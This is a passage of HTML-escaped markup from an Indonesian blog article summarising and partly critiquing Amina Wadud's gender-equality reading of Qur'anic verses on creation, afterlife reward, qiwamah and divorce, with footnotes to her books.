href=&quot;http://mesw.wordpress.com/wp-admin/#_ftn8&quot; title=&quot;_ftnref8&quot;&gt;&lt;span style=&quot;&quot;&gt;8&lt;/span&gt;&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;Adapun maksud dari kata &lt;i&gt;nafs&lt;/i&gt;, bisa digunakan secara umum dan teknis. Al-Qur`an tidak pernah menggunakan istilah tersebut untuk menunjukkan ciptaan lain selain manusia. Di dalam penggunaan secara teknis, kata &lt;i&gt;nafs&lt;/i&gt; dalam al-Qur`an menunjukkan bahwa seluruh umat manusia memiliki asal usul yang sama.&lt;a href=&quot;http://mesw.wordpress.com/wp-admin/#_ftn9&quot; title=&quot;_ftnref9&quot;&gt;&lt;span style=&quot;&quot;&gt;9&lt;/span&gt;&lt;/a&gt; Meskipun secara tata bahasa kata &lt;i&gt;nafs&lt;/i&gt; merupakan kata feminin (&lt;i&gt;muannas&lt;/i&gt;), namun secara konseptual &lt;i&gt;nafs&lt;/i&gt; mengandung makna netral, bukan untuk laki-laki, bukan pula untuk perempuan.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;Dalam catatan al-Qur`an mengenai penciptaan, Allah tidak pernah merencanakan untuk memulai penciptaan manusia dalam bentuk seorang laki-laki, dan tidak pernah pula merujuk bahwa asal usul umat manusia adalah adam.&lt;a href=&quot;http://mesw.wordpress.com/wp-admin/#_ftn10&quot; title=&quot;_ftnref10&quot;&gt;&lt;span style=&quot;&quot;&gt;10&lt;/span&gt;&lt;/a&gt; Al-Qur`an bahkan tidak pernah menyatakan bahwa Allah memulai penciptaan manusia dengan &lt;i&gt;nafs&lt;/i&gt; Adam, seorang pria. Hal yang sering diabaikan ini sangat penting karena penciptaan manusia versi al-Qur`an tidak dinyatakan dalam istilah jenis kelamin.&lt;a name=&quot;_ftnref11&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://mesw.wordpress.com/wp-admin/#_ftn11&quot; title=&quot;_ftnref11&quot;&gt;&lt;span style=&quot;&quot;&gt;11&lt;/span&gt;&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;2.   Persamaan Ganjaran di Akhirat&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;Laki-laki dan wanita adalah dua kategori spesies manusia yang dianggap sama atau sederajat dan dianugerahi potensi yang sama atau setara. Tak satupun terlupakan dalam al-Qur`an sebagai kitab petunjuk bagi umat manusia yang mengakui dan mempercayai kebenaran yang pasti. Al-Qur`an menghimbau semua orang beriman, laki-laki dan perempuan untuk membarengi keimanan mereka dengan tindakan, yang dengan begitu mereka akan diganjar dengan pahala yang besar. Jadi, Al-Qur`an tidak membedakan pahala yang dijanjikannya.&lt;a href=&quot;http://mesw.wordpress.com/wp-admin/#_ftn12&quot; title=&quot;_ftnref12&quot;&gt;&lt;span style=&quot;&quot;&gt;12&lt;/span&gt;&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;Dalam menjelaskan QS, 40:39-40, (&lt;i&gt;wa man ‘amila shalihan min dzakarin aw untsa wa huwa mukmin fa ulaika yadkhuluna al-jannah&lt;/i&gt;), Amina menekankan kata &lt;i&gt;man&lt;/i&gt; dan &lt;i&gt;ulaika&lt;/i&gt;. Kedua kata tersebut mengandung pengertian netral, tidak laki-laki dan tidak pula khusus perempuan. Sehingga masing-masing manusia akan memperoleh ganjaran bukan berdasarkan jenis kelamin, melainkan atas tindakan yang dilakukan oleh setiap individu (lihat juga QS, 6:94).&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;3. &lt;i&gt;Darajat&lt;/i&gt; dan &lt;i&gt;fadhdhala&lt;/i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;Amina mengutip sebuah ayat yang membedakan derajat antara pria dan wanita, yang artinya:”Wanita-wanita yang ditalak, hendaknya menahan diri (menunggu) tika kali quru`. Tidak boleh mereka menyembunyikan apa yang dijadikan Allah dalam rahimnya. Dan suami-suaminya berhak rujuk padanya dalam masa iddah tersebut, jika mereka (para suami tersebut) menghendaki ishlah. &lt;st1:place st=&quot;on&quot;&gt;Para&lt;/st1:place&gt; wanita mempunyai hak yang seimbang dengan kewajibannya menurut cara yang ma’ruf. Akan tetapi para suami, memiliki satu tingkat (derajat) kelebihan daripada istrinya. Allah Maha Kuasa lagi Maha Bijaksana (QS, 2: 228).&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;Ayat ini menunjukkan bahwa derajat yang dimaksud di atas adalah hak menyatakan cerai kepada istri. Sebenarnya wanita bisa saja minta cerai, tetapi hal ini dikabulkan setelah adanya campur tangan pihak yang berwenang (misalnya hakim).&lt;a href=&quot;http://mesw.wordpress.com/wp-admin/#_ftn13&quot; title=&quot;_ftnref13&quot;&gt;&lt;span style=&quot;&quot;&gt;13&lt;/span&gt;&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;Amina berpendapat, bahwa beranggapan bahwa makna derajat dalam ayat ini sama dengan kebolehan kesewenang-wenangan laki-laki terhadap wanita, akan bertentangan dengan nilai kesamaan (keadilan) yang diperkenalkan dalam al-Qur`an sendiri untuk setiap individu, bahwa setiap &lt;i&gt;nafs&lt;/i&gt; akan memperoleh ganjaran sesuai dengan apa yang dia upayakan. Adapun, kata &lt;i&gt;ma’ruf&lt;/i&gt; diletakkan mendahului kata darajah untuk menujukkan bahwa hal tersebut dilakukan terlebih dahulu. Dengan demikian, hak dan tanggung jawab wanita dan pria adalah sama.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;Selanjutnya, Amina juga &lt;i&gt;concern&lt;/i&gt; dalam menafsirkan kata &lt;i&gt;Qawwam&lt;/i&gt; dan &lt;i&gt;fadhdhala&lt;/i&gt; yang terdapat dalam QS, 4:34. Menurutnya, dua kata tersebut erat kaitannya dengan kata penghubung &lt;i&gt;bi&lt;/i&gt;. Di dalam sebuah kalimat, maknanya adalah karakteristik atau isi sebelum kata &lt;i&gt;bi&lt;/i&gt; adalah ditentukan berdasarkan apa-apa yang diuraikan setelah kata &lt;i&gt;bi.&lt;/i&gt; Dalam ayat tersebut, pria-pria &lt;i&gt;qawwamuuna ‘ala&lt;/i&gt; (pemimpin-pemimpin bagi) wanita-wanita hanya jika disertai dua keadaan yang diuraikan berikutnya. Keadaan pertama adalah mempunyai atau sanggup membuktikan kelebihannya, sedang persyaratan kedua adalah jika mereka mendukung kaum wanita dengan menggunakan harta mereka. Jika kedua kondisi ini tidak dipenuhi, maka pria bukanlah pemimpin bagi wanita. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;Dalam tulisan lain, Amina menjelaskan bahwa kata &lt;i&gt;bi&lt;/i&gt; diatas sekaitan dengan &lt;i&gt;ma fadhdhlallah&lt;/i&gt; (apa yang telah Allah lebihkan untuk laki-laki, yakni warisan), dan nafkah yang dia berikan kepada istrinya. Meski menurutnya, kelebihan warisan antara laki-laki dan perempuan masih &lt;i&gt;debatable&lt;/i&gt;. Dimana bagian warisan &lt;i&gt;absolute&lt;/i&gt; pria tidak selalu berbanding dua dengan wanita. Jumlah sesungguhnya sangat tergantung pada kekayaan milik keluarga yang akan diwariskan.&lt;a href=&quot;http://mesw.wordpress.com/wp-admin/#_ftn14&quot; title=&quot;_ftnref14&quot;&gt;&lt;span style=&quot;&quot;&gt;14&lt;/span&gt;&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;Lebih jauh, Amina menjelaskan bahwa nafkah sebagai seorang pemimpin hendaknya diterapkan dalam kaitannya hubungan kedua belah pihak dalam masyarakat secara keseluruhan. Salah satu pertimbangannya adalah tanggung jawab dan hak wanita untuk melahirkan anak. Tanggung jawab melahirkan seorang anak merupakan tugas yang sangat penting. Eksistensi manusia tergantung pada hal tersebut. Tanggung jawab ini mensyaratkan sejumlah hal, seperti kekuatan fisik, stamina, kecerdasan, dan komitmen personal yang dalam. Sementara tanggung jawab ini begitu jelas dan penting, apa tanggung jawab seorang pria dalam keluarga itu dan masyarakat luas?. Untuk menciptakan keseimbangan dan keadilan, dan untuk menghindari penindasan, Al-Qur`an menyebut tanggung jawabnya sebagai &lt;i&gt;qiwamah&lt;/i&gt;. Amina menambahkan bahwa wanita tidak perlu dibebani dengan tanggung jawab tambahan yang akan membahayakan tuntutan penting tanggung jawab yang hanya dia sendiri yang bisa mengembannya.&lt;a name=&quot;_ftnref15&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://mesw.wordpress.com/wp-admin/#_ftn15&quot; title=&quot;_ftnref15&quot;&gt;&lt;span style=&quot;&quot;&gt;15&lt;/span&gt;&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;4. Perceraian&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;Perceraian merupakan pilihan hukum antara pasangan yang telah menikah, setelah mereka tidak bisa menyatukan perbedaan yang timbul antara keduanya. Tetapi keadaan yang telah dibahas tadi, yang mengizinkan pria memiliki darajah (kelebihan) atas wanita, telah dianggap sebagai indikasi adanya ketaksejajaran dalam al-Qur`an- yaitu pria memiliki hak talak. Tidak seperti wanita, kaum pria bisa saja berkata ‘saya ceraikan kamu ‘ untuk memulai tata cara perceraian.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;Al-Qur`an memang tidak tidak menyebutkan adanya wanita-wanita yang meminta talak dari suaminya, sehingga kenyataan ini digunakan untuk mengambil kesimpulan bahwa wanita tidak memiliki hak talak. Kesimpulan terakhir sangat bertolak belakang dengan adat istiadat zaman pra-Islam dimana wanita dapat dengan mudahnya memalingkan wajahnya untuk menunjukkan penolakannya atas hubungan perkawinan dengan seorang pria. Tidak ada satu petunjukpun dalam al-Qur`an yang mengisyaratkan bahwa seluruh kewenangan talak ini harus direnggut dari kaum wanita. Yang lebih penting lagi menurutnya, hendaknya persoalan rujuk atau cerai dilakukan dengan cara ma’ruf dan menguntungkan kedua belah pihak.&lt;a href=&quot;http://mesw.wordpress.com/wp-admin/#_ftn16&quot; title=&quot;_ftnref16&quot;&gt;&lt;span style=&quot;&quot;&gt;16&lt;/span&gt;&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;Demikianlah beberapa konsep keadilan jender dalam al-Qur`an menurut Amina Wadud. Sebuah usaha untuk menyampaikan tujuan ajaran al-Qur`an mengenai keadilan bagi seluruh umat Islam. Beberapa persoalan lain yang ia gagas tampak lebih fleksibel dan dekat dengan konsep keadilan yang diusung ajaran Islam, seperti masalah perawatan anak, dimana ia menekankan bahwa hal tersebut bukan hanya merupakan kewajiban istri saja, tapi merupakan kewajiban suami dan istri sebagaimana tersurat dalam QS, 2:233. Apalagi apabila di dalam sebuah rumah tangga bukan hanya suami yang bekerja, tapi istri juga dituntut memenuhi kebutuhan keluarga. Hal ini menurut penulis, sangat baik untuk diterapkan sehingga kedua belah pihak dapat terjalin kemitraan dan kebersamaan tanpa ada salah satunya yang tertindas. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;Reinterpretasi yang ia lakukan diharapkannya dapat menjadi &lt;i&gt;budzur&lt;/i&gt; dari terciptanya fikih berkeadilan jender. Dasar pijakannya yaitu, tujuan dari ajaran Islam adalah keadilan antara spesies umat manusia.&lt;a name=&quot;_ftnref17&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://mesw.wordpress.com/wp-admin/#_ftn17&quot; title=&quot;_ftnref17&quot;&gt;&lt;span style=&quot;&quot;&gt;17&lt;/span&gt;&lt;/a&gt; Jika keadilan tidak terwujud, berarti fikih klasik selama ini hanyalah merupakan ijtihad yang sarat dengan kepentingan jenis tertentuyang mengatasnamakan kepentingan Agama.&lt;a href=&quot;http://mesw.wordpress.com/wp-admin/#_ftn18&quot; title=&quot;_ftnref18&quot;&gt;&lt;span style=&quot;&quot;&gt;18&lt;/span&gt;&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;Ia sepakat dengan membedakan pengertian antara syariah dan fikih. Dalam menguatkan argumennya ia mengutip pendapat Ibn Qayyim al-Jauziyyah bahwa fondasi daripada syari’ah adalah kebijaksanaan dan perlindungan tehadap hak-hak manusia. Secara keseluruhan semua itu tertuju pada keadilan, rahmat, dan kebijaksanaan. &lt;a name=&quot;_ftnref19&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://mesw.wordpress.com/wp-admin/#_ftn19&quot; title=&quot;_ftnref19&quot;&gt;&lt;span style=&quot;&quot;&gt;19&lt;/span&gt;&lt;/a&gt;Seluruh wanita harus memperjuangkan tujuan ini.&lt;a href=&quot;http://mesw.wordpress.com/wp-admin/#_ftn20&quot; title=&quot;_ftnref20&quot;&gt;&lt;span style=&quot;&quot;&gt;20&lt;/span&gt;&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;Akan tetapi, selain konsep-konsep di atas, kiranya perlu pula dikritisi lebih jauh pandangannya yang mengkritik persoalan saksi dalam Islam, pewarisan, poligami dan tidak kalah pentingnya mengenai tindakannya sebagai imam dan khathib di gereja Manhattan, New York, dimana makmumnya terdiri dari barisan tiada batas antara laki-laki dan wanita serta adanya beberapa wanita bahkan &lt;i&gt;muadzdzinah&lt;/i&gt; yang tidak menutup aurat yang terkesan belum matang dan terkesan dipaksakan. Menurut penulis, sebuah tindakan, apalagi bersifat ibadah, terdapat ketentuan-ketentuan yang telah mengatur. Hal itupun haruslah dilakukan dengan pengkajian secara mendalam terhadap hadis-hadis terkait, sebagai sumber ajaran Islam kedua. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;Keadilan jender guna mencapai keselamatan seluruh umat manusia memang harus diperjuangkan, sebagai agama yang rahmatan lil’alamin. Namun, penulis berpendapat bahwa hal tersebut harusnya tetap berada pada koridor kesadaran akan keberbedaan fisik dan psikologi antara kedua spesies, wanita dan pria. Disitulah letak kebijaksanaan Islam sehingga keduanya dapat saling melengkapi dan berdampingan. Allah SWT Maha Tahu yang terbaik untuk hamba-hambaNya.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;D. Penutup&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;Satu hal yang perlu diberikan apresiasi, bahwa pemikiran dan perannya telah menantang wanita Islam untuk mengejar ketertinggalan dan menimbulkan kesadaran akan eksistensi mereka sebagai khalifah Allah di muka bumi. Dimana dalam segala aspek kemajuan, ia setara dengan pria. Amina telah berusaha menampilkan sejumlah aspek persamaan jender dalam weltanschauung al-Qur`an. Islam merupakan agama yang menjunjung tinggi harkat dan kehormatan wanita. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;Spirit dan tantangan ini selain ditujukan kepada reformasi wanita islam, juga mengajak kaum pria untuk menyadari bahwa Islam sendiri tidak pernah menyebutkan adanya superioritas antara pria dan wanita. Bahkan sebuah hadis riwayat Thabrani dan Ibnu Majah menyebutkan bahwa sebaik-baik pria adalah yang paling baik perlakuannya terhadap istri.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;ket:&lt;br /&gt; &lt;!--[if !supportLineBreakNewLine]--&gt;&lt;br /&gt; &lt;!--[endif]--&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;a name=&quot;_ftn1&quot;&gt;&lt;/a&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;&lt;a href=&quot;http://mesw.wordpress.com/wp-admin/#_ftnref1&quot; title=&quot;_ftn1&quot;&gt;1&lt;/a&gt;Ia memfokuskan penelaahan kepada Tafsir al-Kasysyaf, karya al-Zamakhsyariy dan Fi Zhilal al-Qur`an, karya Sayyid Quthb, serta banyak mengutip pendapat Abu al-A’la al-Maududiy.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;a name=&quot;_ftn2&quot;&gt;&lt;/a&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;&lt;a href=&quot;http://mesw.wordpress.com/wp-admin/#_ftnref2&quot; title=&quot;_ftn2&quot;&gt;2&lt;/a&gt;Dikutip dari Khalid aboe al-Fadhl dalam memberikan kata pengantar dalam: Amina Wadud,&lt;i&gt; Inside the Gender Jihad, Women’s Reform in Islam, &lt;/i&gt;(&lt;st1:country-region st=&quot;on&quot;&gt;&lt;st1:place st=&quot;on&quot;&gt;England&lt;/st1:place&gt;&lt;/st1:country-region&gt;: Oneworld Publications), 2006, h. xii lihat juga: h. 50 dan 187&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;a name=&quot;_ftn3&quot;&gt;&lt;/a&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;&lt;a href=&quot;http://mesw.wordpress.com/wp-admin/#_ftnref3&quot; title=&quot;_ftn3&quot;&gt;3&lt;/a&gt;Amina, &lt;i&gt;Inside.., &lt;/i&gt;h. 188.&lt;a name=&quot;_ftn4&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://mesw.wordpress.com/wp-admin/#_ftnref4&quot; title=&quot;_ftn4&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;&lt;a href=&quot;http://mesw.wordpress.com/wp-admin/#_ftnref4&quot; title=&quot;_ftn4&quot;&gt;4&lt;/a&gt;&lt;i&gt;Ibid&lt;/i&gt;, h. 4.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;a name=&quot;_ftn5&quot;&gt;&lt;/a&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;&lt;a href=&quot;http://mesw.wordpress.com/wp-admin/#_ftnref5&quot; title=&quot;_ftn5&quot;&gt;5&lt;/a&gt;&lt;i&gt;Ibid&lt;/i&gt;, h. 9.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;a name=&quot;_ftn6&quot;&gt;&lt;/a&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;&lt;a href=&quot;http://mesw.wordpress.com/wp-admin/#_ftnref6&quot; title=&quot;_ftn6&quot;&gt;6&lt;/a&gt;&lt;i&gt;Ibid,&lt;/i&gt; h. 2 dan 113-119&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;a name=&quot;_ftn7&quot;&gt;&lt;/a&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;&lt;a href=&quot;http://mesw.wordpress.com/wp-admin/#_ftnref7&quot; title=&quot;_ftn7&quot;&gt;7&lt;/a&gt;Amina Wadud Muhsin, &lt;i&gt;Qur`an and Woman, &lt;/i&gt;(&lt;st1:city st=&quot;on&quot;&gt;&lt;st1:place st=&quot;on&quot;&gt;Kuala   Lumpur&lt;/st1:place&gt;&lt;/st1:City&gt;: Fajar Bakti), 1992, h. 16.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;a name=&quot;_ftn8&quot;&gt;&lt;/a&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;&lt;a href=&quot;http://mesw.wordpress.com/wp-admin/#_ftnref8&quot; title=&quot;_ftn8&quot;&gt;8&lt;/a&gt;&lt;i&gt;Ibid&lt;/i&gt;, h. 18.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;a name=&quot;_ftn9&quot;&gt;&lt;/a&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;&lt;a href=&quot;http://mesw.wordpress.com/wp-admin/#_ftnref9&quot; title=&quot;_ftn9&quot;&gt;9&lt;/a&gt;&lt;i&gt;Ibid&lt;/i&gt;, h. 19.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;a name=&quot;_ftn10&quot;&gt;&lt;/a&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;&lt;a href=&quot;http://mesw.wordpress.com/wp-admin/#_ftnref10&quot; title=&quot;_ftn10&quot;&gt;10&lt;/a&gt;&lt;i&gt;Ibid&lt;/i&gt;, h. 20.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;a name=&quot;_ftn11&quot;&gt;&lt;/a&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;&lt;a href=&quot;http://mesw.wordpress.com/wp-admin/#_ftnref11&quot; title=&quot;_ftn11&quot;&gt;11&lt;/a&gt;Ibid&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;a name=&quot;_ftn12&quot;&gt;&lt;/a&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;&lt;a href=&quot;http://mesw.wordpress.com/wp-admin/#_ftnref12&quot; title=&quot;_ftn12&quot;&gt;12&lt;/a&gt;Ibid, h. 15, Lihat juga: Amina, &lt;i&gt;Inside..,&lt;/i&gt; , h. 189.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;a name=&quot;_ftn13&quot;&gt;&lt;/a&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;&lt;a href=&quot;http://mesw.wordpress.com/wp-admin/#_ftnref13&quot; title=&quot;_ftn13&quot;&gt;13&lt;/a&gt;Amina, &lt;i&gt;Qur`an&lt;/i&gt;.., h.69&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;a name=&quot;_ftn14&quot;&gt;&lt;/a&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;&lt;a href=&quot;http://mesw.wordpress.com/wp-admin/#_ftnref14&quot; title=&quot;_ftn14&quot;&gt;14&lt;/a&gt;&lt;i&gt;Ibid&lt;/i&gt;, h. 73. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;a name=&quot;_ftn15&quot;&gt;&lt;/a&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;&lt;a href=&quot;http://mesw.wordpress.com/wp-admin/#_ftnref15&quot; 